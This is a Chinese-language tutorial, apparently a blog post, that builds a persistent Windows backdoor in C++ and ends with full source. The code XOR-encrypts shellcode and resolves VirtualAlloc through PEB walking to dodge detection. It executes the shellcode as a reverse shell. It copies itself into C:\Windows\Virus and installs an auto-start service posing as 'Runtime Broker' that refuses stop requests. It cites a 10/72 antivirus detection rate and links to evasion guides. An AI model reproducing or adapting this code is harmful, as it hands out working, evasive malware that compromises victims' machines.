通过给自身传递不同的参数来达到不同的行为,用服务的自启动代替应用程序的自启动
1:Payload 异或加密
单独使用加密程序进行加密:
#include<string>
#include <iostream>
using namespace std;
using std::string;
unsigned char buf[] = //Shellcode
int main() {
string s;
for (size_t i = 0; i < sizeof(buf); i++)
{
int n = buf[i] ^ 0x44;
char c[5];
sprintf_s(c, "\\x%x", n);
s += c;
}
std::cout << s << std::endl;
system("pause");
}
2:编写主体框架:
#include <windows.h>
#define SLEEP_TIME 120000//间隔时间
bool brun = false;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
void WINAPI ServiceMain(int argc, char** argv);
void WINAPI CtrlHandler(DWORD request);
void WINAPI ServiceMain(int argc, char** argv)
{
servicestatus.dwServiceType = SERVICE_WIN32;
servicestatus.dwCurrentState = SERVICE_START_PENDING;
servicestatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP;
servicestatus.dwWin32ExitCode = 0;
servicestatus.dwServiceSpecificExitCode = 0;
servicestatus.dwCheckPoint = 0;
servicestatus.dwWaitHint = 0;
hstatus = ::RegisterServiceCtrlHandler(L"lsload", CtrlHandler);
if (hstatus == 0)
{
return;
}
servicestatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hstatus, &servicestatus);
brun = true;
while (brun)//任务循环
{
Sleep(SLEEP_TIME);
}
}
void WINAPI CtrlHandler(DWORD request)
{
switch (request)
{
case SERVICE_CONTROL_STOP:
brun = false;
servicestatus.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_SHUTDOWN:
brun = false;
servicestatus.dwCurrentState = SERVICE_STOPPED;
break;
default:
break;
}
SetServiceStatus(hstatus, &servicestatus);
}
int __cdecl wmain(int argc, char* argv[])
{
SERVICE_TABLE_ENTRY entrytable[2];
entrytable[0].lpServiceName = (LPWSTR)L"ServiceName";//服务名
entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
entrytable[1].lpServiceName = NULL;
entrytable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(entrytable);
return 0;
}
3:添加功能:
//头文件及预定义
#include<tchar.h>
#include <Windows.h>
#include<iostream>
#include <io.h>
#define SLEEP_TIME 6000//后门重连间隔时间
#define SER_NAME _T("Runtime Broker")
bool brun = false;
using namespace std;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
string path = __argv[0];
- 执行Shellcode:
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
size_t getKernelBase()
{
return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);
}
void Connect() {
size_t hKernel = getKernelBase();
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel;
PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel);
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel);
size_t nameCount = pImageExportDirectory->NumberOfNames;
size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel;
size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel;
size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel;
fGetProcAddress fnGetProcAddress = NULL;
for (size_t i = 0; i < nameCount; i++)
{
USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel);
if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373)
{
fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel);
}
}
if (fnGetProcAddress == NULL)
{
return;
}
size_t str1[4];
str1[0] = 0x74726956;
str1[1] = 0x416c6175;
str1[2] = 0x636f6c6c;
str1[3] = 0x0;
fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1);
auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(b, buf, sizeof(buf));
for (size_t i = 0; i < sizeof(buf); i++)
{
((unsigned char*)b)[i] ^= 0x44;
}
b();
}
- 启动时隐藏窗口:
void HideWindow() {
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}
- 服务的自我注册:
相关链接:通过API操作服务
这里不用SC来注册,SC查得更严(相比与services.exe)
bool CreateAndStartService() {
SC_HANDLE SCM = NULL;
SC_HANDLE SER = NULL;
bool s = false;
do
{
SCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (SCM == NULL)
{
break;
}
SER = CreateService(SCM, SER_NAME, SER_NAME, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, _T("\"C:\\Windows\\Virus\\Runtime Broker.exe\" s"),NULL,NULL,NULL,NULL,NULL);
if (SER == NULL)
{
break;
}
s = StartService(SER, NULL, NULL);
} while (false);
return s;
}
4.修改服务响应的请求:
servicestatus.dwControlsAccepted = NULL; //在ServiceMain中,不响应任何请求
switch (request)//在CtrlHandler中,收到控制请求不响应
{
case SERVICE_CONTROL_STOP:
break;
case SERVICE_CONTROL_SHUTDOWN:
break;
default:
break;
}
5.Main方法:
int __cdecl main(int argc, char** argv)
{
if (argc >= 2)
{
string argv_s = argv[1];
if (argv_s == "s")//作为服务运行
{
SERVICE_TABLE_ENTRY entrytable[2];
entrytable[0].lpServiceName = (LPWSTR)L"Runtime Broker";//服务名
entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
entrytable[1].lpServiceName = NULL;
entrytable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(entrytable);
return 0;
}
else if (argv_s == "c") {//反弹Shell
Connect();
}
}
else { //被双击运行
HideWindow();
string copycommand = "copy \"" + path + "\" C:\\Windows\\Virus";
system("mkdir C:\\Windows\\Virus");
system(copycommand.data());
CreateAndStartService();
exit(0);
}
}
6:判断杀软:
判断杀软并获取PID:
C++ 判断某个程序是否正在运行,存在则返回PID
7.获取管理员权限(VS可以直接修改清单文件)
不修改清单文件:
C++ 获得管理员权限
完整代码:(查杀率: 10/72)
这里是已经通过修改清单文件获取管理员权限
不修改清单文件需要自己加功能
要再降低查杀率,可使用加密通信等手段:
免杀的N种姿势-基础篇
免杀的N种姿势-msf自免杀
免杀的N种姿势-msf篇
#include<tchar.h>
#include <Windows.h>
#include<iostream>
#include <io.h>
#define SLEEP_TIME 6000//间隔时间
#define SER_NAME _T("Runtime Broker")
bool brun = false;
using namespace std;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
string path = __argv[0];
int main(int argc,char** argv);
void WINAPI ServiceMain(int argc, char** argv);
void WINAPI CtrlHandler(DWORD request);
void Connect();
size_t getKernelBase();
void HideWindow();
bool CreateAndStartService();
char* StringToChar(const string& object);
unsigned char buf[] = //加密后的Shellcode
char* StringToChar(const string& object) {
char* result = (char*)object.data();
return result;
}
bool CreateAndStartService() {
SC_HANDLE SCM = NULL;
SC_HANDLE SER = NULL;
bool s = false;
do
{
SCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (SCM == NULL)
{
break;
}
SER = CreateService(SCM, SER_NAME, SER_NAME, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, _T("\"C:\\Windows\\Virus\\Runtime Broker.exe\" s"),NULL,NULL,NULL,NULL,NULL);
if (SER == NULL)
{
break;
}
s = StartService(SER, NULL, NULL);
} while (false);
return s;
}
size_t getKernelBase()
{
return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);
}
void Connect() {
size_t hKernel = getKernelBase();
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel;
PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel);
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel);
size_t nameCount = pImageExportDirectory->NumberOfNames;
size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel;
size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel;
size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel;
fGetProcAddress fnGetProcAddress = NULL;
for (size_t i = 0; i < nameCount; i++)
{
USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel);
if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373)
{
fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel);
}
}
if (fnGetProcAddress == NULL)
{
return;
}
size_t str1[4];
str1[0] = 0x74726956;
str1[1] = 0x416c6175;
str1[2] = 0x636f6c6c;
str1[3] = 0x0;
fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1);
auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(b, buf, sizeof(buf));
for (size_t i = 0; i < sizeof(buf); i++)
{
((unsigned char*)b)[i] ^= 0x44;
}
b();
}
void WINAPI ServiceMain(int argc, char** argv)
{
servicestatus.dwServiceType = SERVICE_WIN32;
servicestatus.dwCurrentState = SERVICE_START_PENDING;
servicestatus.dwControlsAccepted = NULL;
servicestatus.dwWin32ExitCode = 0;
servicestatus.dwServiceSpecificExitCode = 0;
servicestatus.dwCheckPoint = 0;
servicestatus.dwWaitHint = 0;
hstatus = ::RegisterServiceCtrlHandler(L"lsload", CtrlHandler);
if (hstatus == 0)
{
return;
}
servicestatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hstatus, &servicestatus);
brun = true;
while (brun)//任务循环
{
string c = "\"C:\\Windows\\Virus\\Runtime Broker.exe\" c";
system(c.data());
Sleep(SLEEP_TIME);
}
}
void WINAPI CtrlHandler(DWORD request)
{
switch (request)
{
case SERVICE_CONTROL_STOP:
break;
case SERVICE_CONTROL_SHUTDOWN:
break;
default:
break;
}
SetServiceStatus(hstatus, &servicestatus);
}
void HideWindow() {
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}
int __cdecl main(int argc, char** argv)
{
if (argc >= 2)
{
string argv_s = argv[1];
if (argv_s == "s")
{
SERVICE_TABLE_ENTRY entrytable[2];
entrytable[0].lpServiceName = (LPWSTR)L"Runtime Broker";//服务名
entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
entrytable[1].lpServiceName = NULL;
entrytable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(entrytable);
return 0;
}
else if (argv_s == "c") {
Connect();
}
}
else {
HideWindow();
string copycommand = "copy \"" + path + "\" C:\\Windows\\Virus";
system("mkdir C:\\Windows\\Virus");
system(copycommand.data());
CreateAndStartService();
exit(0);
}
}